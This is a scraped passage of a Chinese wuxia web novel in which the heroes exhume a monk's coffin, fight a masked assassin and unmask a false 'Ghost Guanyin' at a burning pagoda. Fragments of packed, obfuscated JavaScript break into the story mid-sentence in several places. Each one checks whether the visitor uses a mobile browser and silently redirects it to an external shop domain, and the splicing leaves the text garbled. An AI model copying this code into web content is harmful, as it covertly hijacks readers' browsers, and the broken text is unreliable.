RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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世人皆知孤鸿剑被封印在奉国寺的阆天宝塔……三年前,鬼观音走火入魔,性命垂危,走投无路之际,用孤鸿作为交换,恳求奉国寺方丈玄空大师救她一命。玄空大师慈悲为怀,不忍见死,便立下了这三年之约。 这都是江湖中盛传的,谁也没有亲眼见过。 “……孤鸿剑可还安全?她贼心不死,若不早做防备,恐怕会落入贼人之手。”柳折舟眸光轻闪。 玄空方丈长叹一声,沉声道:“只要老衲还在一日,便不可能这魔头再次得剑,祸害天下。” 柳折舟听后连连点头,眸中冷淡似雪,半点温柔也无。 这二人你一言我一语,皆是长辈语重心长的教诲和晚辈言辞恳切的感谢,俨然市井家里相敬相爱的一对师徒爷孙。仔细听来,实则都是答非所问,问非所答。 “如此一来,那晚辈便先行告退了。”他起身离去,步履如风。 玄空坐在蒲团上闭目打坐,禅室里檀烟袅袅。 不多时,一阵木门轻声已过,澄明便推门而入进来。 他道:“这个人知道些什么了吗?” “不知。”方丈缓缓向内室走去,澄明也面色凝重地跟在后面。 “他不知?”澄明不解。 “是我们不知的太多了。” “他……从没提过吗?”澄明小心翼翼试探着。 “……未曾听他提及过。”方丈的声音显然多了些疲惫无奈。 玄空方丈缓缓从衣袖间拿出刚刚那封未署名的信,抽出内页,只见纸上大笔书着“奈何魂销骨,寸寸相思苦”十个筋骨遒劲的字。 还有那支簪子,二人凝视半天。 “看这簪子的制式,我似乎曾经见过。”那两个人同时将目光投向了被床帏紧紧遮住的禅床,帘布厚实沉重。过了许久,方丈才道:“而他又确实知道的太多。” “……师。”澄明眉头紧锁,看似一句思而不得的情诗,虽是心觉不妙却也无从说起。 只是澄明还未说完的话,便被方丈打断了:“万不可打草惊蛇。” 澄明面色沉重,清俊白皙的脸庞头一次布满了黑云,心有不满却又不得发:“可是师父,我们的时间不多了,再问不出来,她真的就要来了。” 奈何魂销骨,寸寸相思苦。 “那弟子便先行退下了。”澄明见自己师父不愿多说,他便想独自行事。 “——慢着。” 禅房内陡然现出第三个人说话,那声音沉稳肃穆,仿佛来自西天极乐世界的高天神佛,惊得澄明和玄空脸色大变。 “你们不是想知道孤鸿剑究竟在何处吗?” 14. 今夜湘湘很忙 即便被冤枉,柳折舟也丝毫不放在心上,俨然不把奉国寺中愈发沉闷的杀机当回事。一天之后,他就又缠着原湘湘到处找她说话。 今夜月明,清光乍泄时,寒气四生。 原湘湘一路行云流水般地穿梭在亭台院落之中,最后来到了厨房后院,远远便见到一个鬼鬼祟祟的黑衣人趴在膳房水井的水井口旁。 原湘湘倏忽落在了那个黑衣人身边,几乎是悄无声息的。 黑衣人虽然脸还朝着井口,背对着原湘湘,但话已经脱口而出:“湘湘姑娘,你来了。”昨夜一通折腾后,柳折舟约她今晚深夜相见。 原湘湘突然轻轻哼了一声:“你怎么知道我来了。” 柳折舟朝她眨眨眼,道:“身无彩凤双飞翼,心有灵犀一点通~” “……你约我来不会就是说这个吧。”她明知故问,抬腿作势要走。 “慢着,湘湘姑娘,请跟我来。”柳折舟说着,便带头向前。 不多时他们二人就已来到了厨房门前。 柳折舟一身黑衣,原湘湘看他分外像贼,一个行举风雅的贼。 “这是?”原湘湘看看眼前的厨房,又看看柳折舟,有些疑惑。 “我饿了。”柳折舟利落地从腰间掏出一根细铁丝,捅进锁孔,稍稍几下便听见清脆的“咔哒”声,铜锁已然打开。 望见那动作熟练的动作,原湘湘不得不怀暗自惊叹他祖上可能都是飞贼——她准备收回前言的“风雅”。 “湘湘姑娘,我知你应是难言之隐。”柳折舟盈盈一笑,“折舟不才,与湘湘姑娘可能有同样的困惑。” 原湘湘闻言,便道:“你到底想说什么。” 虽然语气冷冰冰的,但柳折舟的一番话,确实让她心里顿生片刻暖意。 “随我进来。”柳折舟轻轻勾手。 柳折舟转身又挂上了门,随后又从怀里掏出了个火折子,三两下便吹燃了它。 “折舟……生就寒冬腊月,疾病缠身,极不喜欢雪天,怕冷怕饿怕疼怕累怕困怕阴天雨天没有太阳的天……又忘了多穿两件,哈切!实在太冷了!” “确实。”她深吸了一口凉气,懒得吐槽他绕了一大圈只有最后一句话才是重点。 柳折舟一边走一边拿,轻声道:“我就是觉得厨房很少有人会来啦。” 原湘湘瘪起嘴,不去看他。 “湘湘姑娘,我听说玄同长老被遇害时,死状凄惨……他的头颅也被毁掉,整个人血肉模糊,面目全非。” 原湘湘心头一颤,一时之间竟然不知说什么好,只得轻轻问:“你是如何知道的?” 柳折舟道:“今日劳烦湘湘姑娘过来,觉得有些事只能与湘湘姑娘说。” 原湘湘登时浑身如过电,不知道是害怕还是别的什么感觉。 “什么事只能在厨房里说?” “是只能在厨房里说的事。” 闲谈就此结束。 她站定其前,在明晦不定的光线里,闭上了眼睛,靠在木头柱子上,静静听着柳折舟吃饭发出的“沙沙”响声。 可不知何时,柳折舟也跑到了她的跟前,小心问道:“你生气了吗?半夜让你出来受冻,还要听着就这么假的话。” “没有。”她说完就后悔,便转移话题,问柳折舟,“你还有什么想说的?” 因为正好对上柳折舟那双柔和又委屈的眼。 “湘湘姑娘,我不是柳折舟。”黑暗里那个朗月清风般的如同鬼魅一般忽然响起。 原湘湘眼中寒光一闪,道:“你就是你,化成灰我都认得你。” 好事想不到我,坏事总忘不了我。 “湘湘姑娘。”黑暗里柳折舟又点了另一只火折子,他举着两支火折子,怨鬼一般移到原湘湘的身旁,俯身侧耳,道,“方丈大师是假的。” 原湘湘拔身而立,柳折舟说话的气息落在她的耳畔,让她有些不好言说的情绪。 “你当真?”她假装淡定,因为那声音和气息实在是像羽毛挠脚心一样,让她心急发烫。 再加之她一直觉得柳折舟的嘴里几乎没真话。 此时如有外人路过,从窗户露出的剪影一看,真是一对儿深夜幽会的恋人,他们那么亲密那么不舍,身影重叠,情话绵绵,耳鬓厮磨,缱绻多情。 可偏偏说话的两人,却好像什么都不知道。 “不仅如此,听说玄同长老是年轻时入寺落发修行的,他好像是前朝的一个校尉。”柳折舟伸长了脖子,细声细语道,“当时还带着一个小孩,十几年前,一起逃难时被玄空方丈收留的,听说那天黑沉沉的,还下着大雨,两个人在雨里跪了一夜。” 柳折舟那双清亮的眼还在从旁看着她,原湘湘假装不动声色。 她感觉那细微的气息像是沸腾的潮水,朝她冲来,又把她泡在里面动弹不得也呼吸不得。 “他怎么知道的这么多?”她不禁腹诽:“说的好像自己亲眼见过一样?” 房中一点明火跃动,四下黑暗如波浪般起伏,柳折舟那张被冻得变了色的脸,棱角分明,发丝垂柔,给他平添几分悲天悯人——原湘湘盯着他看,她觉得那张脸真的有几分壁画里的神仙意味。 许是瞧见了原湘湘分外直接的眼神,他故作镇定地干咳两声,说:“湘湘姑娘,我绝没有骗你的意思,真的。” 柳折舟执着火飘开了,在昏黄的火苗照不到的黑暗里,他悄悄红了耳朵,他突然觉得这里也没那般寒气侵骨,肚子好像也没那么饿来着。 原湘湘背靠着柱子,她因为柳折舟的突然飘开有些在意,于是时不时地用余光扫视着他,但也只看见柳折舟背对着她,窝在厨房一角。 良久,只听两手握着火折子的柳折舟幽幽道来:“湘湘姑娘,我想麻烦你做一件事。” “什么。” “你去找那位裴少侠,然后……” 原湘湘面色不悦,道:“我不想去。” 柳折舟起身吹灭火折子,安慰她道:“就当是为了你心中的那位观音。” 说罢,又朝她眨眨眼,俏皮一笑。 湘湘顿时满脸一热。 翌日后半夜,待寺中所有声音都安静时,原湘湘飞身跃上西厢的墙沿,直奔后山而去。周遭皆是一片稀稀散散的白色落在草木初发的地上。 再往前,便是奉国寺的后山墓地。 昨夜,柳折舟要她喊上裴玉珠一同去后山掘墓开棺。虽然她不想和裴玉珠有牵扯,但个中缘由,原湘湘也能猜得到:兴许就因为他需要一个好拿捏的又能说得上话的证明人。 今夜月也不似昨夜圆,除却远处奉国寺方向的几点明亮以外,周遭尽是无止境的黑色。春初深夜的寒气也侵占整个山头,原湘湘孤身一人站在空地旁一块石碑旁,似是在等着什么。 不多时,她的右后方传来细细簌簌的声响,是草树枝叶被拨开的声音。原湘湘回头,但见一个高个的男子擎着一盏黄纸灯笼颤颤巍巍地朝自己走来。 “原姑娘。”那男子正是裴玉珠:“你来啦。” 他说话带着轻轻的尾音,显然有些怯生生的。 “嗯。” 虽说二人并没有任何旖旎私情,可在他眼中半夜邀约,却也和自己爱慕的女子私会没两样,尽管现下他们是在墓地里。 说来也是巧合。最初时,裴玉珠在山门外瞥见她,只是讶异怎会有人生得这般头发?寻常姑娘都是三千青丝如瀑,只有她顶着一头蓬松坚韧的长卷发,红衣宽袖在风中热烈而张扬。可眼睛再往下,头发下的那张脸却俨然冰雕石刻一般……他是真的很好奇。 后来,千方百计与原湘湘接触后,才觉她不仅头发生得有趣,至少,很少见她动怒。 或者说,很少有表情也行。 不说其他,单凭处着舒服,也足够他左一个“原姑娘”右一个“原姑娘”了。 “那我们……边走边说?”裴玉珠将灯笼往前一打,便顺着来时拨开的小道,在前引着路。 他说话时候声音有些颤抖,不知是因为夜晚寒冷还是害怕这幽暗的墓地里半夜闹鬼。 “是玄同长老吧。”原湘湘跟在后面,一步也不曾落后。 “对。”裴玉珠深吸一口气,沉声应答。 白天她和裴玉珠商量来意之后,裴玉珠也和原湘湘分享了自己的调查结果。 他们走的这条近路小道是裴玉珠之前一步步踩出来的,很快就已绕到不久前下葬的玄同长老的墓穴处。早春近日并没有下雨,墓穴的土也很新鲜,墓土外露出的草根有些干枯。 裴玉珠将黄纸灯笼放在墓碑旁,原湘湘凝目注视着墓碑上方新写的字,不多时,他二人双双跪倒在地,闷声磕了三个响头后,才听裴玉珠念念有词:“玄同长老,您若在天有灵也请宽恕我们的罪过。我们也只是为了查明真相,找出凶手的帮凶,以便救更多人的命……您老人家也不想看着我们惨死吧。” 原湘湘在旁,直到裴玉珠祈祷完毕,二人径直抄了旁边早就备好的铁铲,朝着堆积整齐的墓土开挖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685485|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “湘湘姑娘怀疑有诈?”裴玉珠边挥舞着铁锹边问。他以为原湘湘已经打定主意不会找他说话了。 原湘湘怔愣片刻,很快就回过神来,把柳折舟教给她的话一一背诵出来:“确实如此,我见寺中诸多情况诡异,又想到前日我俩……探听到的传闻,因此决定一探究竟。但思前想后,觉得只有裴……少侠你最靠谱,所以特意找你相助,真是不胜感激。” “哪里哪里。”因为搜查的事,裴玉珠反倒觉得自己更惭愧。 裴玉珠也觉得原湘湘的分析颇有道理,鬼观音的帮手要想如此完美的杀人匿迹,最好的方法就是隐于奉国寺众人。 约莫半个多时辰后,两个人才将坟包上的土完全挖走,暴露在外的是一具漆黑的棺材,外表的新漆映着微黄的灯光,微微闪亮。 “多有得罪了。”原湘湘双手合十,朝棺椁鞠了一躬,裴玉珠见状也鞠了一躬。 二人互相使了个眼色,便齐齐将铁铲插进棺盖夹缝里,奋力下压,撬开了棺盖,顿时一股刺鼻的臭气冲天而起。他们两个纷纷丢掉手中的铁铲,忙用胳膊遮住口鼻,眯着眼往下方棺材里瞧去。 裴玉珠赶忙抓起灯笼,朝下打过去。 “这是……”裴玉珠悄声念道:“这是玄同长老?” 原湘湘凝眉站在一旁,不置可否。 他们二人是第一次来奉国寺,加之玄同长老早已遇害,他们自是不可能见过玄同长老本人。 所有关于玄同的消息无外乎都是他人口中所传。 眼前是早春,本就天寒,奉国寺本又居于高山之中,更是比山下冷寒许多。原湘湘与裴玉珠所见是一具仍未完全腐烂的尸体,但玄中长老的头部已经被损毁,似是被一掌直轰面中,整颗头颅塌陷不一,尸身呈干枯状。 “跟柳折舟说的一模一样。”她在心中暗道,却丝毫没注意对面的裴玉珠早已在揭棺的那一刻面色陡变,双手猛然收紧。 尸体如干柴一般,不似常态,原湘湘突然跳下土坑。 裴玉珠见状便赶紧将灯笼递过去,原湘湘伸手接过烛火。 “原姑娘可是有何发现?”裴玉珠有些担心。 原湘湘并没有立刻回应,她一手打着灯笼,一手将棺椁中的尸首外衣打开,将这具尸体从头到脚仔仔细细检查了个遍,但却在查看尸体双手处的时候停了下来。 “你过来看。”她猛然抬头道,倒把一旁的裴玉珠吓了个跳。 “这……怎么——” 裴玉珠硬生生忍着臭味将脸凑了过去。他心中憋着最后一口气,赌命似的一下跳进墓坑,将那具尸首里里外外翻查了个遍。 “玄同一直是个身手了得的练家子。”裴玉珠眉头紧锁,语气似是不妙:“他本人又是将一手无罡棍法使得出神入化……” “他出生行伍,而躺在这里的人,年岁不仅大出许多,身体特征也无一点与行伍之人相符合。”原湘湘沉声道。 她始终记得柳折舟说过,玄同曾经是前朝的一位校尉。 柳折舟,你到底是何许人也? “而且,他的手掌即便也是布满老茧,可更多的却是十分粗糙的厚茧与伤痕。手上与指缝中都有黑色脏污……”裴玉珠补充说。 “那是长年干重活留下的。”原湘湘道。 “来,我们先上来。”裴玉珠率先跳上去,随后便伸手,湘湘停顿半刻,才搭上他的手跳上去。 他们二人果断封棺,不消多时,他二人就重新做了个坟包,可周围凌乱的脚印,都在告诉旁人此处曾经不得片刻安宁。 临行前,二人仍旧恭恭敬敬地跪在地上磕了三个头。 “玄同……不在棺材里,那就说明他还没死。”临行前,裴玉珠小声念道,“会不会是……” 二人对视,他们都想到了之前在厨房里听到的事。 棺材里的是送柴的老徐。 老徐代替玄同而死,那真正的玄同又在何处呢? 风摇树影乱,山林寂空啸。 地上散落着白日里未打扫干净的白纸,不少已经卷着泥土被风吹到了周遭的树林里,零零散散的发着白光,犹如无数魍魉之眼。 原湘湘和裴玉珠告别后,二人各怀心事离开此地。 寒夜,山风渐起,雾气氤氲,悄然间从树梢中一个白色的人影落下,足尖轻轻踏在了白纸的上面。 白纸瞬间揉成一滩烂泥。 但在更远处的树林里,漆黑的冷风中,幽幽飘下一点白光,光华淋漓。 15. 晚归早遇月下观音现 原湘湘和裴玉珠分别后,一路从后山小路而下,本想去柳折舟那里和他商量商量。 等她回过神来时,双脚已然不听使唤地走回了自己的房间。 柳折舟此人绝不简单,深藏不露。 原湘湘思索再三,还是决定缓上一缓,不能什么都说出来。 如果说玄同是内奸,那柳折舟又怎会知道?他和玄同又是什么关系? 她三步并做两步,速速来到门前,可当她准备推门而入,手指轻触门边时,却浑然滞住了身体——她隐约觉得门内暗藏一股异样的气息。 “不像是熟悉的味道。”她眉头皱起思索着。 这种感觉让她警觉起来:此时早已过了寺中僧人的休息时间,到底何人会半夜潜伏?究竟有何用意? 一时之间,她心头突跳:是被盯上了! 右手悄悄伸向身后,虽然心膛如擂鼓,但脸上却依旧波澜不惊,照旧伸手,推门,迈步。 月光从门框倾泻而入,照亮眼中方寸,所见与离去时无异,室内昏暗寂静,不似人间。 “此人,不比我弱。”原湘湘凝眉屏息。 踏进房门后,她能更清晰地感觉到屋内有异,但却不知藏身何处。她缓步前移,刚绕过屏风,从床帘的阴影里便飞出一个白色的影子,而那影子竟是毫不留情,掌刀带起风声呼啸,雪粉四散,劈向原湘湘面门! 她登时一个下腰,弯身如虹,白色影子的手指与她的鼻尖擦过。 一招偷袭未成,这个白衣人又朝下妄图一掌使她毙命,而原湘湘则趁着下腰的力量跨坐在地面上,见又一掌劈来,便顺势一个旋起,借力一脚踢向白衣人的一掌。 来人身形高挑,一身白衣飘飘,斗笠白纱覆面,无法得见真容,此间打扮不是鬼观音又是谁?! 她不解! 白衣人依旧穷追不舍,大有不灭口不收手之心,仍旧不断出掌,掌掌直击要害,虽然都被原湘湘躲开,可她却并不轻松。原湘湘心知对方不比自己差,而且自己内力被封,只好就近将一把木椅踢向白衣人,借着白衣人的目光被挡住的瞬间,运气踏步,飘出门外,直接跃向房顶。 只是她刚逃走没多远,还未来得及抬手擦干净嘴角的血迹,就看见那白衣人一路紧紧追来。那人手刀劈出,掌风凌厉,力量浑厚,原湘湘躲闪不及。 “唔————咳!!” 她猛然吐出一大口鲜血,虽然没被一击毙命,却也被那白衣人推出数丈,脚下也带起了接连破碎的瓦片,如秋风扫过落叶,片片凋零。 那白衣人并没有立即追上来,只是几丈之外遥遥观望着原湘湘。不多时,在屋顶的残瓦砾片里,原湘湘又缓缓站了起来。 她突然想到,这里是女侠士们居住的西厢房,但只有寥寥数人,如果逃到东厢房就能惊起众人的话……人多,或许才能救命。 不过,对方似乎是看出了原湘湘在打什么主意,白衣人见原湘湘还未断气,当即脚下一踏,飞身跃至原湘湘面前! 白衣人接下来的每一掌每一脚都是以困住她的行动为目标,不给她机会抽身,既然不能一掌毙命,那便死耗着到力竭。 不能死在这里!脑袋越发昏沉,但手上动作却不曾减缓,她趁空划出一刀! 白衣人显然没料到原湘湘身上还藏有利器,显然停顿了一下。原湘湘眼见得了机会,千钧一发之际,刃锋一转,刺向白衣人面前的白纱。 只是,那白衣人显然更占上风,只见白衣人手里一掌推出,原湘湘便霎时间偏了方向。这宛如秋水洪波的一剑,刺偏了。 虽然没能伤到白衣人,却也把白纱划开了一个口子。 从那个口子里,原湘湘看到了一个略为熟悉的下半张脸。 好像在哪儿见过……她心惊,可来不多思考,原湘湘抓住机会,运气发力,宛若垂死的野马,跌跌撞撞地奔向东边! 白衣人也快步跟上,这二人便在纵横交错的屋顶楼台,你追我赶。眼见脚步越来越沉,身后那个白衣人竟然也凭空化出一柄长剑追来! 那剑犹如秋水洪波,有形亦无形,光华耀耀,几与月华共色。 她干脆心下一横,拔出雁栖,迎上剑身,金铁相接,发出尖锐刺耳的声音。 原湘湘欺身向前,一边收起短刀,一手甩出长鞭,缠上了剑身,随后便又纵力后退,二人执力相争。 白衣人微微一颤,似是对刚刚那把能与手中长剑直接相触的短刀感到意外。 原湘湘原本就是力大,虽说没有内力,但也比一般人强出许多。她与那白衣人争执不下时,原湘湘越是发力后拖,越是能察觉到阵阵微弱的轻颤,白衣人持剑的那只手……似乎力劲不稳。 “难怪不曾对我接连下死手,原是有伤在身!”原湘湘心头一颤,隐隐狂喜。 那白衣人似乎也察觉到了原湘湘那端的变化,越来越气急败坏。这红衣姑娘追不上,杀不掉。偏又被这鞭子缠上,动不了,更是火冒三丈。拖得越久越是不利,白纱下的脸已经快变了形,似乎从不曾想到这个细瘦的姑娘竟然如此难缠。 于是白衣人蓄势运力,企图把原湘湘甩飞到自己跟前,一掌拍碎她的胸膛。 原湘湘等的就是这个时候,她本身已无多少内力,若不是臂力过人,也不可能僵持这么长时间。 如今见白衣人一发力。她登时将长鞭一抖,长鞭脱离剑身,借着白衣人的力量,她被白衣人甩飞到了远处一处房顶。 “喀喇”一声闷响,瓦片齐齐崩裂掉落,原湘湘落下之时,便又顺势朝着房顶滚落,不多时,就已碾过半边屋瓦。 “喀拉喀拉”————半边屋瓦碎裂掉落,崩碎的声音贯穿在东边的夜幕里。 白衣人见势不妙,正欲提剑再上,却见原湘湘颤颤巍巍地站起来,在东边那一处的房顶上奋力前奔。 夜晚寂静,山风虫鸣交和,本来应是个难得的夜晚,可睡梦中的众人却突然脑海里一片炸裂。他们慌忙惊醒,闻声望过去,听得房顶上屋瓦碎裂的摔打声,神魂惊裂,登时全都从床上跳下,拿起佩剑便循着声源处来。 裴玉珠方才一脚踏进被窝,听到头顶喧哗大作,便箭一般地冲出了房门,毫不犹豫。待他几个瞬步奔出门外时,却是只见手持长剑的白衣人正和瘫坐在地上原湘湘对峙着。 “原姑娘!”他一个飞身来到了原湘湘身旁。 原湘湘回眸,见已来人,她还来得及说上一句话,就昏了过去。 裴玉珠见此情景,一时间悲愤交加,怒火堵在胸膛间。 从前的家人,朋友,现在的爱慕之人……一切的一切,所有的所有,他裴玉珠没有做过任何伤天害理的事,可是,但凡他只要拥有一点点希望,一点点幸福,都会被眼前这个人毁掉。 他所有的一切,都是被鬼观音毁掉的! 裴玉珠抽出佩剑,运起剑势便和那白衣人缠打起来。霎时间,只见刀光剑影在冰凉的月色中荡开,剑身相接的声音也朝周围四散开来。 裴玉珠觉察那柄长剑有异,瞬间体内热力暴涨,双目通红。 “鬼观音!你告诉我!我裴玉珠到底有什么对不起你!” “为什么,为什么每一次都要夺走我最亲爱的人!” 一声力竭的呼喊震破天空,月色收光,星辰忽暗,天地间突然静寂万分。 一道人影破空而来,裴玉珠强行催动了内力和护体真气! 一声剑啸长鸣,月光化作剑光,横扫所及之处! 家族血仇,此时不报,更待何时? 白衣人也知动静越来越大,对自己不利,可是这个青城派的弟子竟是十分难缠! 果不其然,这二人交手没多久,余下的武林众人都闻着声响赶到了这里,众人一见白衣,皆是愤慨难当。 “鬼观音,你终于现身了!” “今晚一定要你血债血偿!” 白衣人见状不妙,陡然收起剑势,左手破空而出,一掌打飞裴玉珠。 白衣人得空正欲飞身而逃,却被及时赶来的几大高手团团围住。 王岳生愤然道:“鬼观音你今日还有何话要说?孤鸿剑呢!” 他只顾着堵住鬼观音其人,却丝毫没有注意到白衣人陡然收起的长剑——自从来人后便一直遮遮掩掩在衣袖间,不让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685486|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人见得真切。 眼见被众人团团围住,白衣人心下一凛,正欲大开杀戒之时,东北方向突然爆出一声炸响,似盘躯之龙苏醒后的长吼,震彻天地,紧接着众人就看见阆天宝塔处火光冲天,金红艳艳。 “不好!阆天塔着火了!快过去快过去!” “塔里封印着孤鸿剑!绝不能让鬼观音拿到孤鸿!” “那这里怎么办啊,谁来挡住鬼观音?” “此处交给我,你们先过去。”一个尖尖细细的声音自人群中倏忽响起:“鬼观音今日你就是插翅也难逃了!我已等了你许久!还我大师姐来!” 说罢,苏叶便飞身而上,顿时剑光四落,可那白衣人却无心恋战般,手中长剑秋水一荡,便悉数挡开苏叶的剑刃。 苏叶腕间回转,重蓄剑势,急行而上:“鬼观音,你休得猖狂!” 上一招扑了个空,苏叶心中已是愤怒不已,她这一剑乃是她大师姐亲传的“落星如雷”,秀手狂扫,剑势疾如风迅如雷,大有雷霆破空之势;剑气泼落如骤雨,密集有力,虽然也将白衣人逼得连连后退,可最终还是苏叶败了。 眼前剑光如同流星一般急速闪过,便没入黑暗。 苏叶见状,突然急火攻心,猛一运力,剑身如穿云利箭,飞向白衣人,可这破釜沉舟的一招也在距离白衣人一寸处停住了,原是被白衣人的两指夹在半空,再也不得前进半分。 苏叶银牙紧咬,动上全力,而那剑刃仍是一分未动。 白衣人挥袖向右一撇,便将苏叶连人带剑甩到了一边。她不甘也无用,没有内力护持,她跟白衣人是过不了几招的。 “大师姐,小叶子终究还是学不会平心静气,辜负了你的期望。” 苏叶落地后堪堪稳住身形,满口银牙沾着血,咬着牙切着齿,却也只得眼睁睁地看着那白衣人阆天塔方向奔去。 “嘁!”苏叶不屑,可她晦气才刚吐完,耳边便传来一阵轻微的碎裂声。 她低头一望,原是自己佩剑已经裂痕累累,几欲碎裂。 就与那长剑相触一招而已。 此形一出,苏叶顿时胸膛烈火顺着五脏六腑淌了下来,厉声道:“鬼观音哪里逃!” 说罢,便跃空跟上——她知道那必是孤鸿。 鬼剑孤鸿,削铁如泥,断金碎玉,斩人不见血。 如果说鬼观音已经拿到了孤鸿,那阆天塔里封印的到底是什么?苏叶心中不安起来。 虽说众门派弟子都被封了内力,但平素腿脚功夫却非口舌之谈。众人也个个跟上,谁都不愿意错过今天这个诛杀鬼观音的机会。 唯独裴玉珠还在刚刚打斗的地方,他紧紧抱着原湘湘,又试图给原湘湘运气,他面色凝重,但更多的是悔不及时。 “咳——!!”片刻后,原湘湘吐出一口血,紧接着她的神思也逐渐清明起来,慢慢扭过头时,看见裴玉珠双眼通红,几乎要流出血泪。 “多谢了,裴少侠。”她缓缓笑道,但更多的是惭愧。 不该把他也扯进来的。 裴玉珠抬手拭泪,神情还有略有恍惚,他担心也害怕,自己好不容易才有了想要保护的人。 他知道,从见第一面起,冥冥之中就有一种预感,这个突然占据自己所有视野的姑娘,与自己无法携手同行的。 “我们不是一路人。”她始终在强调。 她所追求的,与自己所痛恨的,终指一处,他们二人之间,终将背道而驰。 但是,裴玉珠还是不想此刻就放弃。 原湘湘顾不得头痛欲裂,便已缓缓起身,东北后山方向嘈杂混乱,火光已然烧亮了半边天,那里情况似乎也不容她在此地多待片刻。 她三两下便跑出东院,头也不回地奔过去,唯独留下一抹恍惚的红色影子从他的眼中落下。 “湘湘……”只有在没人的时候,他才敢这样喊出这般亲昵的名字。 他抓起地上的佩剑准备跟上去,却发觉手中一颤,低头看去,手中佩剑的剑身瞬间四分五裂。 是孤鸿。 裴玉珠望着地上零落的剑刃碎片,全身不住地颤抖着。 16. 众人齐聚真相澄明论道义 原湘湘提气一路奔来,只见地上躺着不少守塔和尚,她眼中才刚刚锁定那个梦寐以求的白色身影,还没来得及高兴,一声诡异的质问就将她的神魂彻底拉了回来。 “你们说说,到底谁才是鬼观音?”黑暗中,一个衣冠完整的白衣人陡然出声,那声音粗老流利,似鬼似佛,正如她的名字一般,善与恶,白与黑,神明与恶鬼,交织缠绕。 四周安静得可怕,只有风声,火声,凝重的呼吸声。 转瞬间,鬼观音忽然掌心相合,她的双手别住急速飞来的玄中两掌,阻其攻势;另一边,她长腿一伸,细腰婉转,脚尖一转再踢,漫身绰约如虹似水,将那个白衣人手中的长剑踢飞,众人眼见那把剑径直穿过了另一把剑的剑身,而后直接没入地里。 那长剑素金剑柄,白玉镶嵌,通体光华耀耀,由剑柄蔓延而至剑身的繁复纹路,细若秋毫,似飞鸾缠绕,交颈长鸣;没入土中的长剑微颤,铮铮有鸣声,剑刃寒光四起,凛凛杀意将发。 可众人也能清楚的看见,此剑剑心处残缺一块。 “是……” 众人缄口不言,显然心照不宣,却又不敢贸然说出来。 缥缈孤鸿影。 削铁如泥,百炼剑方成;屠尽武林,斩人不见血——是为孤鸿。 是时,众人身后阆天塔火焰滔天,几乎照彻天幕。 不远处,凛凛寒风吹雪,山间红梅映华光。 失了剑的白衣人——假鬼观音,见自己手里陡然没了武器,便祭出双拳,企图和玄中二人将真正的鬼观音置之死地。 可鬼观音显然看穿了那二人的想法。 她倒也不惧,既不出力相搏也不处处闪躲,只是不紧不慢地借力打力。 众人在旁见那三人过招,竟是半分也融不进去,很快鬼观音翻身从玄中头顶越过,落到他们身后,当即飞出两掌将玄中震出数丈。 玄中躲闪不及,生生接下这两掌,口角鲜血溢出,堪堪站定,显然伤势不妙。 见玄中被打伤,假鬼观音便一个飞身跃至孤鸿剑掉落的地方。 鬼观音见状,也即刻赶来,二人几乎同时抵达孤鸿剑旁,眼见鬼剑在旁,显然二人都不愿孤鸿落入敌手。 不多时,众人就看见两个白色的身影一路飞出前院,在外面缠斗起来。这二人均是白色衣衫,头戴素纱幕篱,看不见容貌。 苏叶等旁人陆续赶来,只见房顶上二人,拳脚横扫,却都无法触及到对方半分,左一人出招快且凶狠,大有掌掌击山碎石之势;右边人看似被逼无奈,处处躲闪,其实每一招都拉扯控制对方的下一招,此人出招看似绵软却很有力量感,招招如仙女挽袖,行云流水般连贯自然。 “两个鬼观音?”底下众人惊呼,可是更诡异的是,其中一人出招完全看不出来是哪家门路。 “我们就这么坐以待毙?”苏叶想大展身手,但更多的是咽不下刚刚那口恶气。 此时,王岳生便道:“来人是敌是友尚不知,我们且看看。” 就在底下人议论纷纷之际,左边的白衣人不敌,被右边人一掌拍出几丈远,瘫坐在地上,口吐鲜血,动弹不得。 显然胜负已分。 一缕微不可察的药香飘过,胜者随即瞬身飘至门前,满月光华,此人白衣胜雪,周身环佩叮当,倏忽落地。 众人愕然,嗓子眼里吊着心,惧怕恐慌……有口难言,生怕下一个被一掌毙命的就是自己。 鬼观音从某个不知名弟子手中神不知鬼不觉地抽出一把剑,原本看戏的众人都顿时作鸟兽散,纷纷围在了前院最边沿。 她缓步轻移行至败者身旁,不待旁人唏嘘,那把剑便毫不留情地挑碎了本就不完整的白纱。 遮面的幕篱落地,众人这时才得以见到真容,一时之间呆愣在原地说不出一句话来。 露出的那张脸,是住在奉国寺的人最熟悉不过的一张脸:这张脸的主人曾经为他们接风洗尘;为他们诵经念佛,讲解佛理;也曾客客气气的为大家介绍少林寺的每一人每一物;这张脸的主人就是陪伴在方丈身边几乎片刻不离的澄明小师傅。 良久——鬼观音才幽幽道:“试剑大会在即,我今夜才赶来赴约。可是……江湖中似乎传了许久我的事情。” 话音刚落,她便把剑朝着人群扔过去,众人纷纷唯恐避之不及,可这剑却精准地落入到它原主人的剑鞘中。 这一举动不仅把原主人吓得魂飞魄散,更是给了在场各位一个下马威:我若想取你们性命,简直易如反掌,根本不屑下三滥的手段。 